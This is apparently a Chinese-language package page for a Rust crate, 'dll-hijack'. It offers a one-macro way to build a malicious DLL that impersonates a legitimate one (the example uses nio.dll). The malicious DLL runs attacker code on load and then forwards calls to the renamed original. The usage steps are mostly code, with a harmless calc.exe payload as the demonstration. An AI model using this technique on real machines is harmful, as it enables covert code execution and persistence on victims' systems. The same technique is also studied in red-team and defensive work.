2个稳定版本
| 1.0.1 | 2023年7月3日 | 
|---|---|
| 1.0.0 | 2023年6月30日 | 
#244 in Windows API
100 每月下载量
7KB
86 行
dll-hijack
Dll hijack -- 只有一个宏
使用方法
- 
创建一个lib项目 cargo new demo --lib
- 
修改Cargo.toml [package] name = "demo" version = "0.1.0" edition = "2021" # See more keys and their definitions at https://doc.rust-lang.net.cn/cargo/reference/manifest.html [lib] crate-type = ["cdylib"] [dependencies] dll-hijack = "1.0.0"
- 
修改lib.rs - 
编写一个在dll加载时执行的函数 use std::process; fn test() { process::Command::new("calc").spawn().unwrap(); }
- 
使用宏设置原始dll名称和恶意dll名称 use std::process; use dll_hijack::hijack; #[hijack("nio.dll", "nio.dll.1")] fn test() { process::Command::new("calc").spawn().unwrap(); }
 
- 
恶意dll将伪装成原始dll,在加载时首先执行恶意函数。
然后将恶意dll的请求转发到原始dll。
依赖
~14–23MB
~270K SLoC